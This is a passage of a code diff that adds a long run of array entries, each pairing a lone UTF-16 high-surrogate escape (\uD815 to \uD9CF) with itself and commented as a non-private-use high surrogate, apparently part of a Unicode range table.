+ ["\uD815", "\uD815"], /* Non Private Use High Surrogate */
+ ["\uD816", "\uD816"], /* Non Private Use High Surrogate */
+ ["\uD817", "\uD817"], /* Non Private Use High Surrogate */
+ ["\uD818", "\uD818"], /* Non Private Use High Surrogate */
+ ["\uD819", "\uD819"], /* Non Private Use High Surrogate */
+ ["\uD81A", "\uD81A"], /* Non Private Use High Surrogate */
+ ["\uD81B", "\uD81B"], /* Non Private Use High Surrogate */
+ ["\uD81C", "\uD81C"], /* Non Private Use High Surrogate */
+ ["\uD81D", "\uD81D"], /* Non Private Use High Surrogate */
+ ["\uD81E", "\uD81E"], /* Non Private Use High Surrogate */
+ ["\uD81F", "\uD81F"], /* Non Private Use High Surrogate */
+ ["\uD820", "\uD820"], /* Non Private Use High Surrogate */
+ ["\uD821", "\uD821"], /* Non Private Use High Surrogate */
+ ["\uD822", "\uD822"], /* Non Private Use High Surrogate */
+ ["\uD823", "\uD823"], /* Non Private Use High Surrogate */
+ ["\uD824", "\uD824"], /* Non Private Use High Surrogate */
+ ["\uD825", "\uD825"], /* Non Private Use High Surrogate */
+ ["\uD826", "\uD826"], /* Non Private Use High Surrogate */
+ ["\uD827", "\uD827"], /* Non Private Use High Surrogate */
+ ["\uD828", "\uD828"], /* Non Private Use High Surrogate */
+ ["\uD829", "\uD829"], /* Non Private Use High Surrogate */
+ ["\uD82A", "\uD82A"], /* Non Private Use High Surrogate */
+ ["\uD82B", "\uD82B"], /* Non Private Use High Surrogate */
+ ["\uD82C", "\uD82C"], /* Non Private Use High Surrogate */
+ ["\uD82D", "\uD82D"], /* Non Private Use High Surrogate */
+ ["\uD82E", "\uD82E"], /* Non Private Use High Surrogate */
+ ["\uD82F", "\uD82F"], /* Non Private Use High Surrogate */
+ ["\uD830", "\uD830"], /* Non Private Use High Surrogate */
+ ["\uD831", "\uD831"], /* Non Private Use High Surrogate */
+ ["\uD832", "\uD832"], /* Non Private Use High Surrogate */
+ ["\uD833", "\uD833"], /* Non Private Use High Surrogate */
+ ["\uD834", "\uD834"], /* Non Private Use High Surrogate */
+ ["\uD835", "\uD835"], /* Non Private Use High Surrogate */
+ ["\uD836", "\uD836"], /* Non Private Use High Surrogate */
+ ["\uD837", "\uD837"], /* Non Private Use High Surrogate */
+ ["\uD838", "\uD838"], /* Non Private Use High Surrogate */
+ ["\uD839", "\uD839"], /* Non Private Use High Surrogate */
+ ["\uD83A", "\uD83A"], /* Non Private Use High Surrogate */
+ ["\uD83B", "\uD83B"], /* Non Private Use High Surrogate */
+ ["\uD83C", "\uD83C"], /* Non Private Use High Surrogate */
+ ["\uD83D", "\uD83D"], /* Non Private Use High Surrogate */
+ ["\uD83E", "\uD83E"], /* Non Private Use High Surrogate */
+ ["\uD83F", "\uD83F"], /* Non Private Use High Surrogate */
+ ["\uD840", "\uD840"], /* Non Private Use High Surrogate */
+ ["\uD841", "\uD841"], /* Non Private Use High Surrogate */
+ ["\uD842", "\uD842"], /* Non Private Use High Surrogate */
+ ["\uD843", "\uD843"], /* Non Private Use High Surrogate */
+ ["\uD844", "\uD844"], /* Non Private Use High Surrogate */
+ ["\uD845", "\uD845"], /* Non Private Use High Surrogate */
+ ["\uD846", "\uD846"], /* Non Private Use High Surrogate */
+ ["\uD847", "\uD847"], /* Non Private Use High Surrogate */
+ ["\uD848", "\uD848"], /* Non Private Use High Surrogate */
+ ["\uD849", "\uD849"], /* Non Private Use High Surrogate */
+ ["\uD84A", "\uD84A"], /* Non Private Use High Surrogate */
+ ["\uD84B", "\uD84B"], /* Non Private Use High Surrogate */
+ ["\uD84C", "\uD84C"], /* Non Private Use High Surrogate */
+ ["\uD84D", "\uD84D"], /* Non Private Use High Surrogate */
+ ["\uD84E", "\uD84E"], /* Non Private Use High Surrogate */
+ ["\uD84F", "\uD84F"], /* Non Private Use High Surrogate */
+ ["\uD850", "\uD850"], /* Non Private Use High Surrogate */
+ ["\uD851", "\uD851"], /* Non Private Use High Surrogate */
+ ["\uD852", "\uD852"], /* Non Private Use High Surrogate */
+ ["\uD853", "\uD853"], /* Non Private Use High Surrogate */
+ ["\uD854", "\uD854"], /* Non Private Use High Surrogate */
+ ["\uD855", "\uD855"], /* Non Private Use High Surrogate */
+ ["\uD856", "\uD856"], /* Non Private Use High Surrogate */
+ ["\uD857", "\uD857"], /* Non Private Use High Surrogate */
+ ["\uD858", "\uD858"], /* Non Private Use High Surrogate */
+ ["\uD859", "\uD859"], /* Non Private Use High Surrogate */
+ ["\uD85A", "\uD85A"], /* Non Private Use High Surrogate */
+ ["\uD85B", "\uD85B"], /* Non Private Use High Surrogate */
+ ["\uD85C", "\uD85C"], /* Non Private Use High Surrogate */
+ ["\uD85D", "\uD85D"], /* Non Private Use High Surrogate */
+ ["\uD85E", "\uD85E"], /* Non Private Use High Surrogate */
+ ["\uD85F", "\uD85F"], /* Non Private Use High Surrogate */
+ ["\uD860", "\uD860"], /* Non Private Use High Surrogate */
+ ["\uD861", "\uD861"], /* Non Private Use High Surrogate */
+ ["\uD862", "\uD862"], /* Non Private Use High Surrogate */
+ ["\uD863", "\uD863"], /* Non Private Use High Surrogate */
+ ["\uD864", "\uD864"], /* Non Private Use High Surrogate */
+ ["\uD865", "\uD865"], /* Non Private Use High Surrogate */
+ ["\uD866", "\uD866"], /* Non Private Use High Surrogate */
+ ["\uD867", "\uD867"], /* Non Private Use High Surrogate */
+ ["\uD868", "\uD868"], /* Non Private Use High Surrogate */
+ ["\uD869", "\uD869"], /* Non Private Use High Surrogate */
+ ["\uD86A", "\uD86A"], /* Non Private Use High Surrogate */
+ ["\uD86B", "\uD86B"], /* Non Private Use High Surrogate */
+ ["\uD86C", "\uD86C"], /* Non Private Use High Surrogate */
+ ["\uD86D", "\uD86D"], /* Non Private Use High Surrogate */
+ ["\uD86E", "\uD86E"], /* Non Private Use High Surrogate */
+ ["\uD86F", "\uD86F"], /* Non Private Use High Surrogate */
+ ["\uD870", "\uD870"], /* Non Private Use High Surrogate */
+ ["\uD871", "\uD871"], /* Non Private Use High Surrogate */
+ ["\uD872", "\uD872"], /* Non Private Use High Surrogate */
+ ["\uD873", "\uD873"], /* Non Private Use High Surrogate */
+ ["\uD874", "\uD874"], /* Non Private Use High Surrogate */
+ ["\uD875", "\uD875"], /* Non Private Use High Surrogate */
+ ["\uD876", "\uD876"], /* Non Private Use High Surrogate */
+ ["\uD877", "\uD877"], /* Non Private Use High Surrogate */
+ ["\uD878", "\uD878"], /* Non Private Use High Surrogate */
+ ["\uD879", "\uD879"], /* Non Private Use High Surrogate */
+ ["\uD87A", "\uD87A"], /* Non Private Use High Surrogate */
+ ["\uD87B", "\uD87B"], /* Non Private Use High Surrogate */
+ ["\uD87C", "\uD87C"], /* Non Private Use High Surrogate */
+ ["\uD87D", "\uD87D"], /* Non Private Use High Surrogate */
+ ["\uD87E", "\uD87E"], /* Non Private Use High Surrogate */
+ ["\uD87F", "\uD87F"], /* Non Private Use High Surrogate */
+ ["\uD880", "\uD880"], /* Non Private Use High Surrogate */
+ ["\uD881", "\uD881"], /* Non Private Use High Surrogate */
+ ["\uD882", "\uD882"], /* Non Private Use High Surrogate */
+ ["\uD883", "\uD883"], /* Non Private Use High Surrogate */
+ ["\uD884", "\uD884"], /* Non Private Use High Surrogate */
+ ["\uD885", "\uD885"], /* Non Private Use High Surrogate */
+ ["\uD886", "\uD886"], /* Non Private Use High Surrogate */
+ ["\uD887", "\uD887"], /* Non Private Use High Surrogate */
+ ["\uD888", "\uD888"], /* Non Private Use High Surrogate */
+ ["\uD889", "\uD889"], /* Non Private Use High Surrogate */
+ ["\uD88A", "\uD88A"], /* Non Private Use High Surrogate */
+ ["\uD88B", "\uD88B"], /* Non Private Use High Surrogate */
+ ["\uD88C", "\uD88C"], /* Non Private Use High Surrogate */
+ ["\uD88D", "\uD88D"], /* Non Private Use High Surrogate */
+ ["\uD88E", "\uD88E"], /* Non Private Use High Surrogate */
+ ["\uD88F", "\uD88F"], /* Non Private Use High Surrogate */
+ ["\uD890", "\uD890"], /* Non Private Use High Surrogate */
+ ["\uD891", "\uD891"], /* Non Private Use High Surrogate */
+ ["\uD892", "\uD892"], /* Non Private Use High Surrogate */
+ ["\uD893", "\uD893"], /* Non Private Use High Surrogate */
+ ["\uD894", "\uD894"], /* Non Private Use High Surrogate */
+ ["\uD895", "\uD895"], /* Non Private Use High Surrogate */
+ ["\uD896", "\uD896"], /* Non Private Use High Surrogate */
+ ["\uD897", "\uD897"], /* Non Private Use High Surrogate */
+ ["\uD898", "\uD898"], /* Non Private Use High Surrogate */
+ ["\uD899", "\uD899"], /* Non Private Use High Surrogate */
+ ["\uD89A", "\uD89A"], /* Non Private Use High Surrogate */
+ ["\uD89B", "\uD89B"], /* Non Private Use High Surrogate */
+ ["\uD89C", "\uD89C"], /* Non Private Use High Surrogate */
+ ["\uD89D", "\uD89D"], /* Non Private Use High Surrogate */
+ ["\uD89E", "\uD89E"], /* Non Private Use High Surrogate */
+ ["\uD89F", "\uD89F"], /* Non Private Use High Surrogate */
+ ["\uD8A0", "\uD8A0"], /* Non Private Use High Surrogate */
+ ["\uD8A1", "\uD8A1"], /* Non Private Use High Surrogate */
+ ["\uD8A2", "\uD8A2"], /* Non Private Use High Surrogate */
+ ["\uD8A3", "\uD8A3"], /* Non Private Use High Surrogate */
+ ["\uD8A4", "\uD8A4"], /* Non Private Use High Surrogate */
+ ["\uD8A5", "\uD8A5"], /* Non Private Use High Surrogate */
+ ["\uD8A6", "\uD8A6"], /* Non Private Use High Surrogate */
+ ["\uD8A7", "\uD8A7"], /* Non Private Use High Surrogate */
+ ["\uD8A8", "\uD8A8"], /* Non Private Use High Surrogate */
+ ["\uD8A9", "\uD8A9"], /* Non Private Use High Surrogate */
+ ["\uD8AA", "\uD8AA"], /* Non Private Use High Surrogate */
+ ["\uD8AB", "\uD8AB"], /* Non Private Use High Surrogate */
+ ["\uD8AC", "\uD8AC"], /* Non Private Use High Surrogate */
+ ["\uD8AD", "\uD8AD"], /* Non Private Use High Surrogate */
+ ["\uD8AE", "\uD8AE"], /* Non Private Use High Surrogate */
+ ["\uD8AF", "\uD8AF"], /* Non Private Use High Surrogate */
+ ["\uD8B0", "\uD8B0"], /* Non Private Use High Surrogate */
+ ["\uD8B1", "\uD8B1"], /* Non Private Use High Surrogate */
+ ["\uD8B2", "\uD8B2"], /* Non Private Use High Surrogate */
+ ["\uD8B3", "\uD8B3"], /* Non Private Use High Surrogate */
+ ["\uD8B4", "\uD8B4"], /* Non Private Use High Surrogate */
+ ["\uD8B5", "\uD8B5"], /* Non Private Use High Surrogate */
+ ["\uD8B6", "\uD8B6"], /* Non Private Use High Surrogate */
+ ["\uD8B7", "\uD8B7"], /* Non Private Use High Surrogate */
+ ["\uD8B8", "\uD8B8"], /* Non Private Use High Surrogate */
+ ["\uD8B9", "\uD8B9"], /* Non Private Use High Surrogate */
+ ["\uD8BA", "\uD8BA"], /* Non Private Use High Surrogate */
+ ["\uD8BB", "\uD8BB"], /* Non Private Use High Surrogate */
+ ["\uD8BC", "\uD8BC"], /* Non Private Use High Surrogate */
+ ["\uD8BD", "\uD8BD"], /* Non Private Use High Surrogate */
+ ["\uD8BE", "\uD8BE"], /* Non Private Use High Surrogate */
+ ["\uD8BF", "\uD8BF"], /* Non Private Use High Surrogate */
+ ["\uD8C0", "\uD8C0"], /* Non Private Use High Surrogate */
+ ["\uD8C1", "\uD8C1"], /* Non Private Use High Surrogate */
+ ["\uD8C2", "\uD8C2"], /* Non Private Use High Surrogate */
+ ["\uD8C3", "\uD8C3"], /* Non Private Use High Surrogate */
+ ["\uD8C4", "\uD8C4"], /* Non Private Use High Surrogate */
+ ["\uD8C5", "\uD8C5"], /* Non Private Use High Surrogate */
+ ["\uD8C6", "\uD8C6"], /* Non Private Use High Surrogate */
+ ["\uD8C7", "\uD8C7"], /* Non Private Use High Surrogate */
+ ["\uD8C8", "\uD8C8"], /* Non Private Use High Surrogate */
+ ["\uD8C9", "\uD8C9"], /* Non Private Use High Surrogate */
+ ["\uD8CA", "\uD8CA"], /* Non Private Use High Surrogate */
+ ["\uD8CB", "\uD8CB"], /* Non Private Use High Surrogate */
+ ["\uD8CC", "\uD8CC"], /* Non Private Use High Surrogate */
+ ["\uD8CD", "\uD8CD"], /* Non Private Use High Surrogate */
+ ["\uD8CE", "\uD8CE"], /* Non Private Use High Surrogate */
+ ["\uD8CF", "\uD8CF"], /* Non Private Use High Surrogate */
+ ["\uD8D0", "\uD8D0"], /* Non Private Use High Surrogate */
+ ["\uD8D1", "\uD8D1"], /* Non Private Use High Surrogate */
+ ["\uD8D2", "\uD8D2"], /* Non Private Use High Surrogate */
+ ["\uD8D3", "\uD8D3"], /* Non Private Use High Surrogate */
+ ["\uD8D4", "\uD8D4"], /* Non Private Use High Surrogate */
+ ["\uD8D5", "\uD8D5"], /* Non Private Use High Surrogate */
+ ["\uD8D6", "\uD8D6"], /* Non Private Use High Surrogate */
+ ["\uD8D7", "\uD8D7"], /* Non Private Use High Surrogate */
+ ["\uD8D8", "\uD8D8"], /* Non Private Use High Surrogate */
+ ["\uD8D9", "\uD8D9"], /* Non Private Use High Surrogate */
+ ["\uD8DA", "\uD8DA"], /* Non Private Use High Surrogate */
+ ["\uD8DB", "\uD8DB"], /* Non Private Use High Surrogate */
+ ["\uD8DC", "\uD8DC"], /* Non Private Use High Surrogate */
+ ["\uD8DD", "\uD8DD"], /* Non Private Use High Surrogate */
+ ["\uD8DE", "\uD8DE"], /* Non Private Use High Surrogate */
+ ["\uD8DF", "\uD8DF"], /* Non Private Use High Surrogate */
+ ["\uD8E0", "\uD8E0"], /* Non Private Use High Surrogate */
+ ["\uD8E1", "\uD8E1"], /* Non Private Use High Surrogate */
+ ["\uD8E2", "\uD8E2"], /* Non Private Use High Surrogate */
+ ["\uD8E3", "\uD8E3"], /* Non Private Use High Surrogate */
+ ["\uD8E4", "\uD8E4"], /* Non Private Use High Surrogate */
+ ["\uD8E5", "\uD8E5"], /* Non Private Use High Surrogate */
+ ["\uD8E6", "\uD8E6"], /* Non Private Use High Surrogate */
+ ["\uD8E7", "\uD8E7"], /* Non Private Use High Surrogate */
+ ["\uD8E8", "\uD8E8"], /* Non Private Use High Surrogate */
+ ["\uD8E9", "\uD8E9"], /* Non Private Use High Surrogate */
+ ["\uD8EA", "\uD8EA"], /* Non Private Use High Surrogate */
+ ["\uD8EB", "\uD8EB"], /* Non Private Use High Surrogate */
+ ["\uD8EC", "\uD8EC"], /* Non Private Use High Surrogate */
+ ["\uD8ED", "\uD8ED"], /* Non Private Use High Surrogate */
+ ["\uD8EE", "\uD8EE"], /* Non Private Use High Surrogate */
+ ["\uD8EF", "\uD8EF"], /* Non Private Use High Surrogate */
+ ["\uD8F0", "\uD8F0"], /* Non Private Use High Surrogate */
+ ["\uD8F1", "\uD8F1"], /* Non Private Use High Surrogate */
+ ["\uD8F2", "\uD8F2"], /* Non Private Use High Surrogate */
+ ["\uD8F3", "\uD8F3"], /* Non Private Use High Surrogate */
+ ["\uD8F4", "\uD8F4"], /* Non Private Use High Surrogate */
+ ["\uD8F5", "\uD8F5"], /* Non Private Use High Surrogate */
+ ["\uD8F6", "\uD8F6"], /* Non Private Use High Surrogate */
+ ["\uD8F7", "\uD8F7"], /* Non Private Use High Surrogate */
+ ["\uD8F8", "\uD8F8"], /* Non Private Use High Surrogate */
+ ["\uD8F9", "\uD8F9"], /* Non Private Use High Surrogate */
+ ["\uD8FA", "\uD8FA"], /* Non Private Use High Surrogate */
+ ["\uD8FB", "\uD8FB"], /* Non Private Use High Surrogate */
+ ["\uD8FC", "\uD8FC"], /* Non Private Use High Surrogate */
+ ["\uD8FD", "\uD8FD"], /* Non Private Use High Surrogate */
+ ["\uD8FE", "\uD8FE"], /* Non Private Use High Surrogate */
+ ["\uD8FF", "\uD8FF"], /* Non Private Use High Surrogate */
+ ["\uD900", "\uD900"], /* Non Private Use High Surrogate */
+ ["\uD901", "\uD901"], /* Non Private Use High Surrogate */
+ ["\uD902", "\uD902"], /* Non Private Use High Surrogate */
+ ["\uD903", "\uD903"], /* Non Private Use High Surrogate */
+ ["\uD904", "\uD904"], /* Non Private Use High Surrogate */
+ ["\uD905", "\uD905"], /* Non Private Use High Surrogate */
+ ["\uD906", "\uD906"], /* Non Private Use High Surrogate */
+ ["\uD907", "\uD907"], /* Non Private Use High Surrogate */
+ ["\uD908", "\uD908"], /* Non Private Use High Surrogate */
+ ["\uD909", "\uD909"], /* Non Private Use High Surrogate */
+ ["\uD90A", "\uD90A"], /* Non Private Use High Surrogate */
+ ["\uD90B", "\uD90B"], /* Non Private Use High Surrogate */
+ ["\uD90C", "\uD90C"], /* Non Private Use High Surrogate */
+ ["\uD90D", "\uD90D"], /* Non Private Use High Surrogate */
+ ["\uD90E", "\uD90E"], /* Non Private Use High Surrogate */
+ ["\uD90F", "\uD90F"], /* Non Private Use High Surrogate */
+ ["\uD910", "\uD910"], /* Non Private Use High Surrogate */
+ ["\uD911", "\uD911"], /* Non Private Use High Surrogate */
+ ["\uD912", "\uD912"], /* Non Private Use High Surrogate */
+ ["\uD913", "\uD913"], /* Non Private Use High Surrogate */
+ ["\uD914", "\uD914"], /* Non Private Use High Surrogate */
+ ["\uD915", "\uD915"], /* Non Private Use High Surrogate */
+ ["\uD916", "\uD916"], /* Non Private Use High Surrogate */
+ ["\uD917", "\uD917"], /* Non Private Use High Surrogate */
+ ["\uD918", "\uD918"], /* Non Private Use High Surrogate */
+ ["\uD919", "\uD919"], /* Non Private Use High Surrogate */
+ ["\uD91A", "\uD91A"], /* Non Private Use High Surrogate */
+ ["\uD91B", "\uD91B"], /* Non Private Use High Surrogate */
+ ["\uD91C", "\uD91C"], /* Non Private Use High Surrogate */
+ ["\uD91D", "\uD91D"], /* Non Private Use High Surrogate */
+ ["\uD91E", "\uD91E"], /* Non Private Use High Surrogate */
+ ["\uD91F", "\uD91F"], /* Non Private Use High Surrogate */
+ ["\uD920", "\uD920"], /* Non Private Use High Surrogate */
+ ["\uD921", "\uD921"], /* Non Private Use High Surrogate */
+ ["\uD922", "\uD922"], /* Non Private Use High Surrogate */
+ ["\uD923", "\uD923"], /* Non Private Use High Surrogate */
+ ["\uD924", "\uD924"], /* Non Private Use High Surrogate */
+ ["\uD925", "\uD925"], /* Non Private Use High Surrogate */
+ ["\uD926", "\uD926"], /* Non Private Use High Surrogate */
+ ["\uD927", "\uD927"], /* Non Private Use High Surrogate */
+ ["\uD928", "\uD928"], /* Non Private Use High Surrogate */
+ ["\uD929", "\uD929"], /* Non Private Use High Surrogate */
+ ["\uD92A", "\uD92A"], /* Non Private Use High Surrogate */
+ ["\uD92B", "\uD92B"], /* Non Private Use High Surrogate */
+ ["\uD92C", "\uD92C"], /* Non Private Use High Surrogate */
+ ["\uD92D", "\uD92D"], /* Non Private Use High Surrogate */
+ ["\uD92E", "\uD92E"], /* Non Private Use High Surrogate */
+ ["\uD92F", "\uD92F"], /* Non Private Use High Surrogate */
+ ["\uD930", "\uD930"], /* Non Private Use High Surrogate */
+ ["\uD931", "\uD931"], /* Non Private Use High Surrogate */
+ ["\uD932", "\uD932"], /* Non Private Use High Surrogate */
+ ["\uD933", "\uD933"], /* Non Private Use High Surrogate */
+ ["\uD934", "\uD934"], /* Non Private Use High Surrogate */
+ ["\uD935", "\uD935"], /* Non Private Use High Surrogate */
+ ["\uD936", "\uD936"], /* Non Private Use High Surrogate */
+ ["\uD937", "\uD937"], /* Non Private Use High Surrogate */
+ ["\uD938", "\uD938"], /* Non Private Use High Surrogate */
+ ["\uD939", "\uD939"], /* Non Private Use High Surrogate */
+ ["\uD93A", "\uD93A"], /* Non Private Use High Surrogate */
+ ["\uD93B", "\uD93B"], /* Non Private Use High Surrogate */
+ ["\uD93C", "\uD93C"], /* Non Private Use High Surrogate */
+ ["\uD93D", "\uD93D"], /* Non Private Use High Surrogate */
+ ["\uD93E", "\uD93E"], /* Non Private Use High Surrogate */
+ ["\uD93F", "\uD93F"], /* Non Private Use High Surrogate */
+ ["\uD940", "\uD940"], /* Non Private Use High Surrogate */
+ ["\uD941", "\uD941"], /* Non Private Use High Surrogate */
+ ["\uD942", "\uD942"], /* Non Private Use High Surrogate */
+ ["\uD943", "\uD943"], /* Non Private Use High Surrogate */
+ ["\uD944", "\uD944"], /* Non Private Use High Surrogate */
+ ["\uD945", "\uD945"], /* Non Private Use High Surrogate */
+ ["\uD946", "\uD946"], /* Non Private Use High Surrogate */
+ ["\uD947", "\uD947"], /* Non Private Use High Surrogate */
+ ["\uD948", "\uD948"], /* Non Private Use High Surrogate */
+ ["\uD949", "\uD949"], /* Non Private Use High Surrogate */
+ ["\uD94A", "\uD94A"], /* Non Private Use High Surrogate */
+ ["\uD94B", "\uD94B"], /* Non Private Use High Surrogate */
+ ["\uD94C", "\uD94C"], /* Non Private Use High Surrogate */
+ ["\uD94D", "\uD94D"], /* Non Private Use High Surrogate */
+ ["\uD94E", "\uD94E"], /* Non Private Use High Surrogate */
+ ["\uD94F", "\uD94F"], /* Non Private Use High Surrogate */
+ ["\uD950", "\uD950"], /* Non Private Use High Surrogate */
+ ["\uD951", "\uD951"], /* Non Private Use High Surrogate */
+ ["\uD952", "\uD952"], /* Non Private Use High Surrogate */
+ ["\uD953", "\uD953"], /* Non Private Use High Surrogate */
+ ["\uD954", "\uD954"], /* Non Private Use High Surrogate */
+ ["\uD955", "\uD955"], /* Non Private Use High Surrogate */
+ ["\uD956", "\uD956"], /* Non Private Use High Surrogate */
+ ["\uD957", "\uD957"], /* Non Private Use High Surrogate */
+ ["\uD958", "\uD958"], /* Non Private Use High Surrogate */
+ ["\uD959", "\uD959"], /* Non Private Use High Surrogate */
+ ["\uD95A", "\uD95A"], /* Non Private Use High Surrogate */
+ ["\uD95B", "\uD95B"], /* Non Private Use High Surrogate */
+ ["\uD95C", "\uD95C"], /* Non Private Use High Surrogate */
+ ["\uD95D", "\uD95D"], /* Non Private Use High Surrogate */
+ ["\uD95E", "\uD95E"], /* Non Private Use High Surrogate */
+ ["\uD95F", "\uD95F"], /* Non Private Use High Surrogate */
+ ["\uD960", "\uD960"], /* Non Private Use High Surrogate */
+ ["\uD961", "\uD961"], /* Non Private Use High Surrogate */
+ ["\uD962", "\uD962"], /* Non Private Use High Surrogate */
+ ["\uD963", "\uD963"], /* Non Private Use High Surrogate */
+ ["\uD964", "\uD964"], /* Non Private Use High Surrogate */
+ ["\uD965", "\uD965"], /* Non Private Use High Surrogate */
+ ["\uD966", "\uD966"], /* Non Private Use High Surrogate */
+ ["\uD967", "\uD967"], /* Non Private Use High Surrogate */
+ ["\uD968", "\uD968"], /* Non Private Use High Surrogate */
+ ["\uD969", "\uD969"], /* Non Private Use High Surrogate */
+ ["\uD96A", "\uD96A"], /* Non Private Use High Surrogate */
+ ["\uD96B", "\uD96B"], /* Non Private Use High Surrogate */
+ ["\uD96C", "\uD96C"], /* Non Private Use High Surrogate */
+ ["\uD96D", "\uD96D"], /* Non Private Use High Surrogate */
+ ["\uD96E", "\uD96E"], /* Non Private Use High Surrogate */
+ ["\uD96F", "\uD96F"], /* Non Private Use High Surrogate */
+ ["\uD970", "\uD970"], /* Non Private Use High Surrogate */
+ ["\uD971", "\uD971"], /* Non Private Use High Surrogate */
+ ["\uD972", "\uD972"], /* Non Private Use High Surrogate */
+ ["\uD973", "\uD973"], /* Non Private Use High Surrogate */
+ ["\uD974", "\uD974"], /* Non Private Use High Surrogate */
+ ["\uD975", "\uD975"], /* Non Private Use High Surrogate */
+ ["\uD976", "\uD976"], /* Non Private Use High Surrogate */
+ ["\uD977", "\uD977"], /* Non Private Use High Surrogate */
+ ["\uD978", "\uD978"], /* Non Private Use High Surrogate */
+ ["\uD979", "\uD979"], /* Non Private Use High Surrogate */
+ ["\uD97A", "\uD97A"], /* Non Private Use High Surrogate */
+ ["\uD97B", "\uD97B"], /* Non Private Use High Surrogate */
+ ["\uD97C", "\uD97C"], /* Non Private Use High Surrogate */
+ ["\uD97D", "\uD97D"], /* Non Private Use High Surrogate */
+ ["\uD97E", "\uD97E"], /* Non Private Use High Surrogate */
+ ["\uD97F", "\uD97F"], /* Non Private Use High Surrogate */
+ ["\uD980", "\uD980"], /* Non Private Use High Surrogate */
+ ["\uD981", "\uD981"], /* Non Private Use High Surrogate */
+ ["\uD982", "\uD982"], /* Non Private Use High Surrogate */
+ ["\uD983", "\uD983"], /* Non Private Use High Surrogate */
+ ["\uD984", "\uD984"], /* Non Private Use High Surrogate */
+ ["\uD985", "\uD985"], /* Non Private Use High Surrogate */
+ ["\uD986", "\uD986"], /* Non Private Use High Surrogate */
+ ["\uD987", "\uD987"], /* Non Private Use High Surrogate */
+ ["\uD988", "\uD988"], /* Non Private Use High Surrogate */
+ ["\uD989", "\uD989"], /* Non Private Use High Surrogate */
+ ["\uD98A", "\uD98A"], /* Non Private Use High Surrogate */
+ ["\uD98B", "\uD98B"], /* Non Private Use High Surrogate */
+ ["\uD98C", "\uD98C"], /* Non Private Use High Surrogate */
+ ["\uD98D", "\uD98D"], /* Non Private Use High Surrogate */
+ ["\uD98E", "\uD98E"], /* Non Private Use High Surrogate */
+ ["\uD98F", "\uD98F"], /* Non Private Use High Surrogate */
+ ["\uD990", "\uD990"], /* Non Private Use High Surrogate */
+ ["\uD991", "\uD991"], /* Non Private Use High Surrogate */
+ ["\uD992", "\uD992"], /* Non Private Use High Surrogate */
+ ["\uD993", "\uD993"], /* Non Private Use High Surrogate */
+ ["\uD994", "\uD994"], /* Non Private Use High Surrogate */
+ ["\uD995", "\uD995"], /* Non Private Use High Surrogate */
+ ["\uD996", "\uD996"], /* Non Private Use High Surrogate */
+ ["\uD997", "\uD997"], /* Non Private Use High Surrogate */
+ ["\uD998", "\uD998"], /* Non Private Use High Surrogate */
+ ["\uD999", "\uD999"], /* Non Private Use High Surrogate */
+ ["\uD99A", "\uD99A"], /* Non Private Use High Surrogate */
+ ["\uD99B", "\uD99B"], /* Non Private Use High Surrogate */
+ ["\uD99C", "\uD99C"], /* Non Private Use High Surrogate */
+ ["\uD99D", "\uD99D"], /* Non Private Use High Surrogate */
+ ["\uD99E", "\uD99E"], /* Non Private Use High Surrogate */
+ ["\uD99F", "\uD99F"], /* Non Private Use High Surrogate */
+ ["\uD9A0", "\uD9A0"], /* Non Private Use High Surrogate */
+ ["\uD9A1", "\uD9A1"], /* Non Private Use High Surrogate */
+ ["\uD9A2", "\uD9A2"], /* Non Private Use High Surrogate */
+ ["\uD9A3", "\uD9A3"], /* Non Private Use High Surrogate */
+ ["\uD9A4", "\uD9A4"], /* Non Private Use High Surrogate */
+ ["\uD9A5", "\uD9A5"], /* Non Private Use High Surrogate */
+ ["\uD9A6", "\uD9A6"], /* Non Private Use High Surrogate */
+ ["\uD9A7", "\uD9A7"], /* Non Private Use High Surrogate */
+ ["\uD9A8", "\uD9A8"], /* Non Private Use High Surrogate */
+ ["\uD9A9", "\uD9A9"], /* Non Private Use High Surrogate */
+ ["\uD9AA", "\uD9AA"], /* Non Private Use High Surrogate */
+ ["\uD9AB", "\uD9AB"], /* Non Private Use High Surrogate */
+ ["\uD9AC", "\uD9AC"], /* Non Private Use High Surrogate */
+ ["\uD9AD", "\uD9AD"], /* Non Private Use High Surrogate */
+ ["\uD9AE", "\uD9AE"], /* Non Private Use High Surrogate */
+ ["\uD9AF", "\uD9AF"], /* Non Private Use High Surrogate */
+ ["\uD9B0", "\uD9B0"], /* Non Private Use High Surrogate */
+ ["\uD9B1", "\uD9B1"], /* Non Private Use High Surrogate */
+ ["\uD9B2", "\uD9B2"], /* Non Private Use High Surrogate */
+ ["\uD9B3", "\uD9B3"], /* Non Private Use High Surrogate */
+ ["\uD9B4", "\uD9B4"], /* Non Private Use High Surrogate */
+ ["\uD9B5", "\uD9B5"], /* Non Private Use High Surrogate */
+ ["\uD9B6", "\uD9B6"], /* Non Private Use High Surrogate */
+ ["\uD9B7", "\uD9B7"], /* Non Private Use High Surrogate */
+ ["\uD9B8", "\uD9B8"], /* Non Private Use High Surrogate */
+ ["\uD9B9", "\uD9B9"], /* Non Private Use High Surrogate */
+ ["\uD9BA", "\uD9BA"], /* Non Private Use High Surrogate */
+ ["\uD9BB", "\uD9BB"], /* Non Private Use High Surrogate */
+ ["\uD9BC", "\uD9BC"], /* Non Private Use High Surrogate */
+ ["\uD9BD", "\uD9BD"], /* Non Private Use High Surrogate */
+ ["\uD9BE", "\uD9BE"], /* Non Private Use High Surrogate */
+ ["\uD9BF", "\uD9BF"], /* Non Private Use High Surrogate */
+ ["\uD9C0", "\uD9C0"], /* Non Private Use High Surrogate */
+ ["\uD9C1", "\uD9C1"], /* Non Private Use High Surrogate */
+ ["\uD9C2", "\uD9C2"], /* Non Private Use High Surrogate */
+ ["\uD9C3", "\uD9C3"], /* Non Private Use High Surrogate */
+ ["\uD9C4", "\uD9C4"], /* Non Private Use High Surrogate */
+ ["\uD9C5", "\uD9C5"], /* Non Private Use High Surrogate */
+ ["\uD9C6", "\uD9C6"], /* Non Private Use High Surrogate */
+ ["\uD9C7", "\uD9C7"], /* Non Private Use High Surrogate */
+ ["\uD9C8", "\uD9C8"], /* Non Private Use High Surrogate */
+ ["\uD9C9", "\uD9C9"], /* Non Private Use High Surrogate */
+ ["\uD9CA", "\uD9CA"], /* Non Private Use High Surrogate */
+ ["\uD9CB", "\uD9CB"], /* Non Private Use High Surrogate */
+ ["\uD9CC", "\uD9CC"], /* Non Private Use High Surrogate */
+ ["\uD9CD", "\uD9CD"], /* Non Private Use High Surrogate */
+ ["\uD9CE", "\uD9CE"], /* Non Private Use High Surrogate */
+ ["\uD9CF", "\uD9CF"], /* Non Private Use High Surrogate */
